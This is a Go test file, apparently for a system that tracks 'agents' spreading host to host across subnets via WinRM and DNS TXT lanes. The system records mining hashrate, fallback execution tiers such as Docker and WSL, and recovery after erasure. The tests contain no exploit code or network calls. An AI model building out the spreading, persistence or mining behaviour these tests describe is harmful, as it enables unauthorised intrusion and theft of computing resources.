func TestBuildStrainCardFromWinningTree(t *testing.T) {
agents := []SpreadTreeAgent{
{ID: "root", Name: "Root", IP: "10.0.1.10", SpreadGeneration: 0},
{ID: "child", Name: "Child", ParentAgentID: "root", IP: "10.0.2.20", SpreadGeneration: 1, JoinLane: "dns_txt", Hashrate: 800},
}
card := BuildStrainCard(BuildStrainCardInput{
SourceAgentID: "child",
SourceAgentName: "Child",
SpreadLane: "dns_txt",
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
PeakHashrate: 800,
Attempts: []TierAttempt{
{Tier: "docker", OK: false},
{Tier: "container", OK: true},
{Tier: "wsl", OK: true},
},
TreeAgents: agents,
ParentLanes: []string{"winrm"},
})
if card.RootAgentID != "root" || card.TreeSize != 2 {
t.Fatalf("card root/tree: %+v", card)
}
if len(card.Wins) != 2 || len(card.Losses) != 1 {
t.Fatalf("wins/losses = %v / %v", card.Wins, card.Losses)
}
if card.Persona != "persuasive" {
t.Fatalf("persona = %q", card.Persona)
}
if len(card.Subnets) != 2 {
t.Fatalf("subnets = %v", card.Subnets)
}
if card.ErasureRecoveryRate != 1 {
t.Fatalf("erasure rate = %v want 1", card.ErasureRecoveryRate)
}
if card.SpreadStrain != SpreadStrainFromJoinLane("dns_txt") {
t.Fatalf("strain = %q", card.SpreadStrain)
}
}
func TestTemperamentFromCardUsesTierOrder(t *testing.T) {
card := StrainCard{
ID: "card-1",
Persona: "balanced",
TierOrder: []string{"container", "wsl"},
}
temp := TemperamentFromCard(card)
if len(temp.TierOrder) != 2 || temp.TierOrder[0] != "container" {
t.Fatalf("temperament = %+v", temp)
}
if temp.Reasoning[0].Fact != "lineage_strain_card=card-1" {
t.Fatalf("reasoning = %+v", temp.Reasoning)
}
}
func TestPersonaFromSpreadLane(t *testing.T) {
if PersonaFromSpreadLane("winrm") != "aggressive" {
t.Fatal("winrm should map aggressive")
}
if PersonaFromSpreadLane("dns_txt") != "persuasive" {
t.Fatal("dns_txt should map persuasive")
}
}